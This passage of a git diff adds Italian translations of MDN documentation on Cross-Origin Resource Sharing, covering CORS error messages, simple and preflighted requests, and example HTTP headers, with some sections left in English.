+<p><strong>Attenzione:</strong> usare <code>"*"</code> per permettere a tutti i siti di accedere ad API private è una pessima idea per ragioni che dovrebbero essere ovvie.</p>
+</div>
+
+<p> </p>
+
+<p>Ad esempio, con Apache, aggiungi una riga come la seguente alla configurazione del server (all'interno della sezione <code>&lt;Directory&gt;</code>, <code>&lt;Location&gt;</code>, <code>&lt;Files&gt;</code> o <code>&lt;VirtualHost&gt;</code>). Tipicamente la configurazione si trova in un file <code>.conf</code> (comunemente <code>httpd.conf</code> e <code>apache.conf</code>), o in un file <code>.htaccess</code>.</p>
+
+<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre>
+
+<p>Per Nginx, il comando per attivare l'intestazione è il seguente:</p>
+
+<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre>
+
+<p> </p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Errori CORS</a></li>
+ <li>Glossario: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Introduzione a CORS</a></li>
+</ul>
diff --git a/files/it/web/http/cors/errors/index.html b/files/it/web/http/cors/errors/index.html
new file mode 100644
index 0000000000..d1dd12dc75
--- /dev/null
+++ b/files/it/web/http/cors/errors/index.html
@@ -0,0 +1,76 @@
+---
+title: CORS errors
+slug: Web/HTTP/CORS/Errors
+tags:
+  - CORS
+  - Errors
+  - HTTP
+  - HTTPS
+  - Messages
+  - NeedsTranslation
+  - Same-origin
+  - Security
+  - TopicStub
+  - console
+  - troubleshooting
+translation_of: Web/HTTP/CORS/Errors
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p>
+
+<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p>
+
+<h2 id="Identifying_the_issue">Identifying the issue</h2>
+
+<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p>
+
+<ol>
+ <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li>
+ <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li>
+</ol>
+
+<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p>
+
+<p>The text of the error message will be something similar to the following:</p>
+
+<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at <em>https://some-url-here</em>. (<em>Reason:
+additional information here</em>).</span></span></span></pre>
+
+<div class="note">
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p>
+</div>
+
+<h2 id="CORS_error_messages">CORS error messages</h2>
+
+<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong.  The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li>
+ <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li>
+</ul>
diff --git a/files/it/web/http/cors/index.html b/files/it/web/http/cors/index.html
new file mode 100644
index 0000000000..dbf2293abc
--- /dev/null
+++ b/files/it/web/http/cors/index.html
@@ -0,0 +1,565 @@
+---
+title: Cross-Origin Resource Sharing (CORS)
+slug: Web/HTTP/CORS
+tags:
+  - AJAX
+  - CORS
+  - Controllo accessi HTTP
+  - Cross-Origin Resource Sharing
+  - Fetch
+  - Fetch API
+  - HTTP
+  - Same-origin policy
+  - Security
+  - Sicurezza
+  - XMLHttpRequest
+translation_of: Web/HTTP/CORS
+---
+<p><span class="seoSummary">Il Cross-Origin Resource Sharing ({{Glossary("CORS")}}) è un meccanismo che usa header {{Glossary("HTTP")}} addizionali per indicare a un browser che un'applicazione Web in esecuzione su un'origine (dominio) dispone dell'autorizzazione per accedere alle risorse selezionate da un server di origine diversa.</span> Un'applicazione web invia una <strong>cross-origin HTTP request</strong> quando richiede una risorsa che ha un'origine (protocollo, dominio e porta) differente dalla propria.</p>
+
+<p>Esempio di cross-origin request: Il codice Javascript di  frontend per un'applicazione web servita da <code>http://domain-a.com</code> utilizza {{domxref("XMLHttpRequest")}} per inviare una richiesta a <code>http://api.domain-b.com/data.json</code>.</p>
+
+<p>Per ragioni di sicurezza, i browser limitano le cross-origin HTTP requests che vengono generate all'interno degli scripts. Ad esempio, <code>XMLHttpRequest</code> e la <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> seguono la <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. Ciò significa che un'applicazione web che utilizza queste API può solamente richiedere risorse HTTP dalla stessa origine di caricamento dell'applicazione, a meno che la risposta dall'altra origine includa i corretti header CORS.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p>
+
+<p>Il meccanismo CORS supporta richieste e trasferimenti dati sicuri fra browsers e web servers. I browser moderni usano CORS in container API come <code>XMLHttpRequest</code> o <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> per aiutare a mitigare i rischi di richieste HTTP cross-origin.</p>
+
+<h2 id="Chi_dovrebbe_leggere_questo_articolo">Chi dovrebbe leggere questo articolo?</h2>
+
+<p>Tutti, davvero.</p>
+
+<p>Più specificamente, questo articolo è per amministratori web, sviluppatori server side e front end. I browser moderni gestiscono i componenti client della cross-origin sharing, inclusi gli headers e applicazione delle policy. Ma questo nuovo standard richiede che i server gestiscano nuovi headers di richiesta e risposta. Un altro articolo per sviluppator server side che discute la <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">cross-origin sharing da una prospettiva server (con esempi di codice PHP )</a> è una lettura supplementare.</p>
+
+<h2 id="Quali_tipi_di_richieste_usano_CORS">Quali tipi di richieste usano CORS?</h2>
+
+<p>Questo <a class="external" href="https://fetch.spec.whatwg.org/#http-cors-protocol">cross-origin sharing standard</a> è usato per abilitare richieste HTTP cross-site per:</p>
+
+<ul>
+ <li>Invocazioni delle API {{domxref("XMLHttpRequest")}} o <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> in modalità cross-site, come illustrato sopra.</li>
+ <li>Web Fonts (per utilizzo cross-domain in <code>@font-face</code> all'interno di regole CSS), <a class="external" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">così che i server possano esporre fonts TrueType che possano essere caricati ed usati in modalità cross-site solo da siti web a cui è stata concessa l'autorizzazione per farlo.</a></li>
+ <li><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">Texture WebGL</a>.</li>
+ <li>Immagini/frame video disegnati su un canvas utilizzando {{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}}.</li>
+ <li>Fogli di stile (per accesso <a href="/en-US/docs/Web/CSS/CSSOM_View">CSSOM</a>).</li>
+ <li>Script (per eccezioni non silenziate).</li>
+</ul>
+
+<p>Questo articolo è una discussione generale sul Cross-Origin Resource Sharing e include una trattazione degli header HTTP necessari.</p>
+
+<h2 id="Panoramica_funzionale">Panoramica funzionale</h2>
+
+<p>Lo standard Cross-Origin Resource Sharing funziona aggiungendo nuovi <a href="/en-US/docs/Web/HTTP/Headers">header HTTP</a> che consentono ai server di descrivere l'insieme di origini che sono autorizzate a leggere quelle informazioni tramite un web browser. In aggiunta, per i metodi di richiesta HTTP che possono causare effetti collaterali sui dati del server (in particolare, per i metodi HTTP diversi da {{HTTPMethod("GET")}}, o per l'utilizzo di {{HTTPMethod("POST")}} con determinati <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a>), la specifica prevede che il browser "anticipi" la richiesta (questa operazione è detta "preflight"), richiedendo al server i metodi supportati tramite una richiesta HTTP {{HTTPMethod("OPTIONS")}}, e poi, dopo una "approvazione" del server, invii la richiesta effettiva con il metodo HTTP effettivo. I server possono anche informare i client se delle "credenziali" (inclusi <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> e dati di autenticazione HTTP) debbano essere inviate insieme alle richieste.</p>
+
+<p>Gli insuccessi CORS generano degli errori, ma per ragioni di sicurezza, i dettagli riguardo a cosa sia andato male <em>non sono disponibili al codice JavaScript</em>. Tutto ciò che il codice può sapere è che si è verificato un errore. L'unico modo per determinare cosa sia andato male nello specifico è guardare la console del browser per i dettagli.</p>
+
+<p>Le sezioni successive discutono alcuni scenari, e provvedono un'analisi dettagliata degli header HTTP usati.</p>
+
+<h2 id="Esempi_di_scenari_di_controllo_accessi">Esempi di scenari di controllo accessi</h2>
+
+<p>Qui presentiamo tre scenari che illustrano come funziona la Cross-Origin Resource Sharing. Tutti questi esempi utilizzano l'oggetto {{domxref("XMLHttpRequest")}}, che può essere usato per creare chiamate cross-site in qualsiasi browser che le supporti.</p>
+
+<p>Gli spezzoni di codice JavaScript inclusi in queste sezioni (e istanze attive di codice server che gestiscono correttamente queste richieste cross-site) possono essere viste in azione su <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, e funzioneranno nei browser che supportano <code>XMLHttpRequest</code> cross-site.</p>
+
+<p>Una trattazione della Cross-Origin Resource Sharing da una prospettiva server (inclusi spezzoni di codice PHP) si possono trovare nell'articolo <a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-Side Access Control (CORS)</a>.</p>
+
+<h3 id="Richieste_semplici">Richieste semplici</h3>
+
+<p>Alcune richieste non scatenano una <a href="#Preflighted_requests">CORS preflight</a>. Queste sono chiamate “richieste semplici” in questo articolo, anche se la specifica {{SpecName('Fetch')}} (che definisce CORS) non utilizza quel termine. Una richiesta che non scatena una <a href="#Preflighted_requests">CORS preflight</a>—una cosiddetta “richiesta semplice”—è una richiesta che soddisfa tutte le seguenti condizioni:</p>
+
+<ul>
+ <li>Gli unici metodi permessi sono:
+  <ul>
+   <li>{{HTTPMethod("GET")}}</li>
+   <li>{{HTTPMethod("HEAD")}}</li>
+   <li>{{HTTPMethod("POST")}}</li>
+  </ul>
+ </li>
+ <li>A parte gli header impostati automaticamente dallo user agent (ad esempio, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, o <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">uno qualsiasi degli altri header i cui nomi sono definiti nella specifica Fetch come “forbidden header name”</a>), gli unici header che è consentito impostare manualmente sono <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">quelli che la specifica Fetch definisce come “CORS-safelisted request-header”</a>, che sono:
+  <ul>
+   <li>{{HTTPHeader("Accept")}}</li>
+   <li>{{HTTPHeader("Accept-Language")}}</li>
+   <li>{{HTTPHeader("Content-Language")}}</li>
+   <li>{{HTTPHeader("Content-Type")}} (tenendo presente i requisiti addizionali sotto)</li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
+   <li>{{HTTPHeader("Downlink")}}</li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
+  </ul>
+ </li>
+ <li>Gli unici valori consentiti per l'header {{HTTPHeader("Content-Type")}} sono:
+  <ul>
+   <li><code>application/x-www-form-urlencoded</code></li>
+   <li><code>multipart/form-data</code></li>
+   <li><code>text/plain</code></li>
+  </ul>
+ </li>
+ <li>Nessun event listener è configurato su alcun oggetto {{domxref("XMLHttpRequestUpload")}} usato nella richiesta; ad essi si accede tramite la proprietà {{domxref("XMLHttpRequest.upload")}} property.</li>
+ <li>Nessun oggetto {{domxref("ReadableStream")}} object è usato nella richiesta.</li>
+</ul>
+
+<div class="note"><strong>Nota:</strong>  Queste sono lo stesso tipo di richieste cross-site che il web content può già rilasciare, e nessuna informazione è rilasciata al richiedente a meno che il server mandi un header appropriato. Quindi, siti che impediscono la falsificazione di cross-site request non hanno nulla di nuovo da temere dall controllo di accesso HTTP.</div>
+
+<div class="note"><strong>Nota:</strong> WebKit Nightly e Safari Technology Preview pongono restrizioni addizionali sui valori ammessi negli headers {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, e {{HTTPHeader("Content-Language")}}. Se anche solo uno di questi headers hanno valori non-standard, per WebKit/Safari la richiesta non rispetta le condizioni di una "richiesta semplice." Quello che WebKit/Safari considera valori “non-standard” per questi headers non è documentato eccetto nei seguenti bug di Webkit: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, e <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. Nessun altro browser implementa queste restrizioni addizionali, perché queste restrizioni non fanno parte della specifica.</div>
+
+<p>Per esempio, supponiamo che una pagina web su dominio <code class="plain">http://foo.example</code> tenti di accedere a contenuto su dominio <code class="plain">http://bar.other</code>. In Javascript, verrebbe scritto un codice simile al seguente in foo.example:</p>
+
+<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/public-data/';
+
+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+</pre>
+
+<p>Tutto ciò porterà ad un semplice scambio di informazioni tra client e server, usando headers CORS per manipolare i privilegi:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p>
+
+<p>Vediamo cosa il browser manderà al server in questo caso, e come risponderà il server:</p>
+
+<pre class="brush: shell;highlight:[10,16]">GET /resources/public-data/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
+Origin: http://foo.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[Dati XML]
+</pre>
+
+<p>Le linee 1 - 10 sono gli header mandati. L'header più importante qui è {{HTTPHeader("Origin")}} alla linea 10, che mostra che l'invocazione origina dal dominio <code class="plain">http://foo.example</code>.</p>
+
+<p>Le linee 13 - 22 mostrano la risposta HTTP dal server al dominio <code class="plain">http://bar.other</code>. In risposta, il server manda un header {{HTTPHeader("Access-Control-Allow-Origin")}} mostrato nella linea 16. L'uso dell'header {{HTTPHeader("Origin")}} e {{HTTPHeader("Access-Control-Allow-Origin")}} dimostrano il protocollo di controllo accesso nella sua forma più semplice. In questo caso, il server risponde con <code>Access-Control-Allow-Origin: *</code> il che significa che la risorsa può essere acceduta da <strong>qualsiasi</strong> dominio. Se i proprietary della risorsa su <code class="plain">http://bar.other</code> vogliono restringere accesso alla risorsa alle sole richieste provenienti da <code class="plain">http://foo.example</code>, risponderebbero con:</p>
+
+<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p>
+
+<p>Nota che ora, nessun dominio a parte <code class="plain">http://foo.example</code> (identificato dall'header ORIGIN: nella richiesta, come nella linea 10) può accedere alla risorsa in maniera cross-site. L'header <code>Access-Control-Allow-Origin</code> deve contenere il valore che è stato mandato nell'header <code>Origin</code> della richiesta.</p>
+
+<h3 id="Richieste_in_preflight">Richieste in preflight</h3>
+
+<p>Al contrario delle "richieste semplici" discusse sopra, le richieste "in preflight" (anticipate) mandano prima una richiesta HTTP tramite il metodo {{HTTPMethod("OPTIONS")}} alla risorsa nell'altro dominio, per determinare se la richiesta vera e propria è sicura. Richieste cross-site vengono anticipate in questo modo perché potrebbero avere implicazioni per la sicurezza dei dati utenti.</p>
+
+<p>In particolare, una richiesta è anticipate se <strong>anche solo una delle seguenti condizioni</strong> è vera:</p>
+
+<ul>
+ <li><strong>Se</strong> la richiesta usa uno dei metodo seguenti:
+
+  <ul>
+   <li>{{HTTPMethod("PUT")}}</li>
+   <li>{{HTTPMethod("DELETE")}}</li>
+   <li>{{HTTPMethod("CONNECT")}}</li>
+   <li>{{HTTPMethod("OPTIONS")}}</li>
+   <li>{{HTTPMethod("TRACE")}}</li>
+   <li>{{HTTPMethod("PATCH")}}</li>
+  </ul>
+ </li>
+ <li><strong>Oppure se</strong>, a parte gli header impostati automaticamente dall'user agent (ad esempio {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, o <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">un qualunque header con un nome definito nella specifica Fetch come "nome header vietato"</a>), la richiesta include header diversi da <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">quelli che la specifica Fetch definisce "CORS-safelisted request-header"</a>, ossia i seguenti:
+  <ul>
+   <li>{{HTTPHeader("Accept")}}</li>
+   <li>{{HTTPHeader("Accept-Language")}}</li>
+   <li>{{HTTPHeader("Content-Language")}}</li>
+   <li>{{HTTPHeader("Content-Type")}} (ma nota le restrizioni addizionali specificate sotto)</li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
+   <li>{{HTTPHeader("Downlink")}}</li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
+  </ul>
+ </li>
+ <li><strong>O se</strong> l'header {{HTTPHeader("Content-Type")}} ha un valore diverso dai seguenti:
+  <ul>
+   <li><code>application/x-www-form-urlencoded</code></li>
+   <li><code>multipart/form-data</code></li>
+   <li><code>text/plain</code></li>
+  </ul>
+ </li>
+ <li><strong>O se</strong> uno o più event listeners sono registrati su un oggetto {{domxref("XMLHttpRequestUpload")}} usato nella richiesta.</li>
+ <li><strong>O se</strong> un oggetto {{domxref("ReadableStream")}} è usato nella richiesta.</li>
+</ul>
+
+<div class="note"><strong>Note:</strong> WebKit Nightly e Safari Technology Preview pongono ulteriori restrizioni sul valori ammessi negli header {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, e {{HTTPHeader("Content-Language")}}. Se anche solo uno di questi headers ha un valore non-standard, WebKit/Safari effettua la richiesta in preflight. Quello che WebKit/Safari considerano valori “non-standard” non è documentato eccetto nei seguenti bug di WebKit: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, e <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. Nessun altro browser implementa questa restrizioni aggiuntive, perché non sono parte della specifica.</div>
+
+<p>Il seguente è un esempio di una richiesta che verrà effettuata in preflight.</p>
+
+<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/post-here/';
+var body = '&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;';
+
+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+</pre>
+
+<p>Nell'esempio sopra, la linea 3 crea un corpo XML che viene mandato con una richiesta <code>POST</code> alla linea 8. Nella linea 9 viene specificato un header "non-standard" (<code>X-PINGOTHER: pingpong</code>). Questi headers non fanno parte del protocollo HTTP/1.1, ma sono utili per applicazioni web. La richiesta è eseguita in preflight perché usa un Content-Type di <code>application/xml</code> e la richiesta usa un header non-standard.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14289/prelight.png"></p>
+
+<p>(Nota: come descritto sopra, la richiesta POST non include gli header Access-Control-Request-*; questi sono necessari solo per le richieste OPTIONS.)</p>
+
+<p>Diamo un'occhiata allo scambio complete tra client e server. Il primo scambio è la richiesta e risposta in preflight:</p>
+
+<pre class="brush: none;highlight:[1,10,11,17-20]">OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+</pre>
+
+<p>Quando la richiesta in preflight è completa, la richiesta vera e propria viene mandata:</p>
+
+<pre class="brush: none;">POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: http://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Payload compresso con GZIP]
+</pre>
+
+<p>Le linee 1 - 12 sopra rappresentano le richieste in preflight con il metodo {{HTTPMethod("OPTIONS")}}. Il browser determina che deve mandare questo in base ai parametri della prima richiesta. OPTIONS è un metodo HTTP/1.1 usato per ricevere informazioni aggiuntive dal server ed è un metodo "safe" (non può cambiare la risorsa). Oltre alla richiesta OPTIONS vengono mandate altre due richieste (linee 10 e 11):</p>
+
+<pre class="brush: none">Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+</pre>
+
+<p>L'header {{HTTPHeader("Access-Control-Request-Method")}} notifica il server che la richiesta vera e propria verrà mandata con un metodo <code>POST</code>. L'header {{HTTPHeader("Access-Control-Request-Headers")}} dice al server che verrà mandata con gli header personalizzati <code>X-PINGOTHER</code> e Content-Type. Ora il server può determinare se vuole accettare una richiesta in queste circostanze.</p>
+
+<p>Le linee 14-26 sono la risposta e indicano che il metodo richiesta (<code>POST</code>) e gli headers (<code>X-PINGOTHER</code>) sono accettabili. In particolare, vediamo le linee 17-20:</p>
+
+<pre class="brush: none">Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400</pre>
+
+<p>Il server risponde con <code>Access-Control-Allow-Methods</code> e dice che <code>POST</code> e <code>GET</code> possono essere usati per accedere alla risorsa. Questo header è simile a {{HTTPHeader("Allow")}} ma è usato solo nel contesto del controllo d'accesso.</p>
+
+<p>The server also sends <code>Access-Control-Allow-Headers</code> with a value of "<code>X-PINGOTHER, Content-Type</code>", confirming that these are permitted headers to be used with the actual request. Like <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> is a comma separated list of acceptable headers.</p>
+
+<p>Finally, {{HTTPHeader("Access-Control-Max-Age")}} gives the value in seconds for how long the response to the preflight request can be cached for without sending another preflight request. In this case, 86400 seconds is 24 hours. Note that each browser has a <a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age">maximum internal value</a> that takes precedence when the <code>Access-Control-Max-Age</code> is greater.</p>
+
+<h4 id="Preflighted_requests_and_redirects">Preflighted requests and redirects</h4>
+
+<p>Not all browsers currently support following redirects after a preflighted request. If a redirect occurs after a preflighted request, some browsers currently will report an error message such as the following.</p>
+
+<blockquote>
+<p>The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight</p>
+</blockquote>
+
+<blockquote>
+<p>Request requires preflight, which is disallowed to follow cross-origin redirect</p>
